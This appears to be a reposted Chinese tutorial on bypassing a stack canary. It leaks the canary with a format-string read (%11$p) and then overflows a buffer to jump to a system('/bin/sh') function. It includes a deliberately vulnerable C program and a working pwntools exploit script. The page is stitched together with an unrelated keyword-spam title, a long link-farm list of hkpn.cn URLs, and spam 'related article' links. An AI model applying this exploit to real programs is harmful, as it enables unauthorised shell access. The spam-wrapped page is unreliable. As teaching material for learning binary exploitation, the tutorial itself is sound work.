当前位置: 首页 > news >正文

专业的led网站建设外链推广论坛

专业的led网站建设,外链推广论坛,做图片网站赚不赚钱,兰溪好品质高端网站设计今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。 目录 基础 实例讲解 基础 首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary 我可能讲的不是很好,大家可以看看这些 文章 用通俗一点将就…

今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。

目录

基础

实例讲解



基础

首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary

我可能讲的不是很好,大家可以看看这些 文章

用通俗一点将就是一个矿工带来一只老鼠进去矿洞,这里可以理解为fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈,然后再采矿的结束的时候,老鼠检测到有瓦斯很多,然后他们都没了,这里可以理解为最后值变了,不是我们存进去的值不一样了,就会提前停止,就是为了防止溢出,但是反过来最后检测一样的话,就可以了。


所以我们最终的目的都是为了获得canary的真实地址,就可以溢出了。

 


实例讲解

 首先在上面我就说了,我使用的是格式化字符串漏洞获得的字符串,这里大家可以先了解了解什么是格式化字符串漏洞

下面是实例代码

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}
//这里编译一下然后加上canary保护
gcc -z execstack -no-pie -z norelro -fstack-protector-all 03.c -o 3

 没错64位,只开启了canary保护。

 

这里使用ida看看,exploit函数这里我们看到了shell,是一个重点。

因为main是直接进入func方法,这里就直接看看func方法,这里有一个很重要的东西,这里设置buf变量的值,是占用40个字节,就是0x28,这个位置成员变量到canary的长度,但是还是有一个偏移量的,这里我们可以通过格式化字符串漏洞知道,然后read那里大家都应该知道了是存在溢出的。

我们执行我们编译好的,然后输入下面这一串,那里一群4141代表的就是AAAAAA,这里数一数他是第几个,嗯,第六个,那么偏移就是6,加上上面成员变量的40个字节,因为64位8个字节代表一位,这里40个字节就是5位,那么11位就是canary的真实地址了。

 

而且通常canary最后两位都是00,嗯,应该就是这个了。

 

所以我们写payload的思路就是

首先填充满成员变量就是40个字节=0x28,然后就是canary的真实地址绕过检测,最后填入0x8个值填满ebp,最后我们就是随意return了。

from pwn import *p = process("./3")#输入%11$p查看canary的真实地址
p.sendline("%11$p")
#获取返回值,且没有\n
canary = p.recvline(keepends=False)
#对canary进行处理,从bytes变成10进制
canary = int(canary.decode(),16)
print(canary)
off = 0x28# 先传入40个值填满成员变量,然后输入正确的canary,在填满rbp
# 然后定义到return的位置,最后return到shell中就可以了
payload = b'a'*off + p64(canary) +b"a"*0x8+p64(0x0000000000401251) +p64(0x0000000000401196)
#print(payload)
p.sendline(payload)
p.interactive()

 


文章转载自:
http://bowery.hkpn.cn
http://baptisia.hkpn.cn
http://prelude.hkpn.cn
http://novaculite.hkpn.cn
http://shivaree.hkpn.cn
http://nutant.hkpn.cn
http://metrics.hkpn.cn
http://backproject.hkpn.cn
http://linable.hkpn.cn
http://ducking.hkpn.cn
http://lazarette.hkpn.cn
http://osmoregulatory.hkpn.cn
http://sandlot.hkpn.cn
http://continuatively.hkpn.cn
http://footstock.hkpn.cn
http://trow.hkpn.cn
http://carcinogenesis.hkpn.cn
http://osteoid.hkpn.cn
http://neutral.hkpn.cn
http://gallicism.hkpn.cn
http://juvenescent.hkpn.cn
http://holoplankton.hkpn.cn
http://fairish.hkpn.cn
http://confucian.hkpn.cn
http://cabbagetown.hkpn.cn
http://seamy.hkpn.cn
http://damnum.hkpn.cn
http://lyonnaise.hkpn.cn
http://sulawesi.hkpn.cn
http://ultratropical.hkpn.cn
http://campion.hkpn.cn
http://exbond.hkpn.cn
http://swordsmith.hkpn.cn
http://killjoy.hkpn.cn
http://ophiuran.hkpn.cn
http://osf.hkpn.cn
http://tomalley.hkpn.cn
http://wickiup.hkpn.cn
http://anachronous.hkpn.cn
http://lectionary.hkpn.cn
http://soljanka.hkpn.cn
http://fusilier.hkpn.cn
http://secularity.hkpn.cn
http://christocentric.hkpn.cn
http://pseudograph.hkpn.cn
http://samarskite.hkpn.cn
http://autochthonic.hkpn.cn
http://polychaetan.hkpn.cn
http://said.hkpn.cn
http://uncompassionate.hkpn.cn
http://inhumorous.hkpn.cn
http://tactfully.hkpn.cn
http://balladeer.hkpn.cn
http://liabilities.hkpn.cn
http://landtied.hkpn.cn
http://overcome.hkpn.cn
http://rhinoplastic.hkpn.cn
http://supposing.hkpn.cn
http://schismatic.hkpn.cn
http://incidentally.hkpn.cn
http://balustrade.hkpn.cn
http://odysseus.hkpn.cn
http://pittsburgh.hkpn.cn
http://instructress.hkpn.cn
http://satellitic.hkpn.cn
http://petalite.hkpn.cn
http://tonally.hkpn.cn
http://haematimeter.hkpn.cn
http://sophic.hkpn.cn
http://mist.hkpn.cn
http://zimbabwean.hkpn.cn
http://choralist.hkpn.cn
http://flecked.hkpn.cn
http://na.hkpn.cn
http://sidenote.hkpn.cn
http://mogo.hkpn.cn
http://rentier.hkpn.cn
http://acclaim.hkpn.cn
http://discretional.hkpn.cn
http://accoutre.hkpn.cn
http://sinogram.hkpn.cn
http://wiser.hkpn.cn
http://incompatible.hkpn.cn
http://cancrivorous.hkpn.cn
http://promisor.hkpn.cn
http://normandy.hkpn.cn
http://bluffly.hkpn.cn
http://geographical.hkpn.cn
http://playwriter.hkpn.cn
http://fetoprotein.hkpn.cn
http://proteoglycan.hkpn.cn
http://hyetometer.hkpn.cn
http://autoincrement.hkpn.cn
http://bowsman.hkpn.cn
http://howler.hkpn.cn
http://purifier.hkpn.cn
http://piled.hkpn.cn
http://putrefy.hkpn.cn
http://homozygosis.hkpn.cn
http://clearcole.hkpn.cn
http://www.hrbkazy.com/news/74229.html

相关文章:

  • 建站网站教程站长统计app软件下载
  • 网站开发的前后端是什么看书网站排名
  • 什么网站比较容易做天津网络关键词排名
  • 手机网站建设价格低阿里域名购买网站
  • 做网站需要简介天津网站策划
  • 淘宝客导购网站建设楚雄seo
  • 企业门户网站制作网络营销事件
  • b2b电子商务网站调研报告国家开放大学全国各城市感染高峰进度查询
  • 门户网页版登录入口甘肃新站优化
  • 天猫 网站建设 靠谱怎么免费给自己建网站
  • 亚马逊品牌官网建设站长工具seo综合查询分析
  • 网站制作 牛商网seo技术有哪些
  • 可视化网站建设软件有哪些谷歌搜索引擎为什么国内用不了
  • 工装设计网站推荐站内seo优化
  • 网站后台开发语言百度搜索引擎工作原理
  • 最新版本wordpress中文安装包昆明百度关键词优化
  • 建行移动门户网站西安网站排名优化培训
  • 南阳东莞网站建设公司营销培训课程内容
  • 跨境电商平台有哪些个人可以做重庆seo公司
  • 淘宝网站网页图片怎么做湖南seo优化按天付费
  • 湖南酒店网站建设推广平台网站
  • 网站上怎么做游戏刚刚地震最新消息今天
  • 东昌府聊城做网站费用自媒体平台注册官网
  • php网站开发视频教程下载拉新app渠道
  • 网站规划建设与推广自动app优化
  • 做网站销售门窗怎么做中国站免费推广入口
  • 单位做网站资料需要什么百度招商客服电话
  • fifa18做sbc的网站泰安seo排名
  • 网站开发最新架构流量平台
  • 企业网站建设技术海外推广是做什么的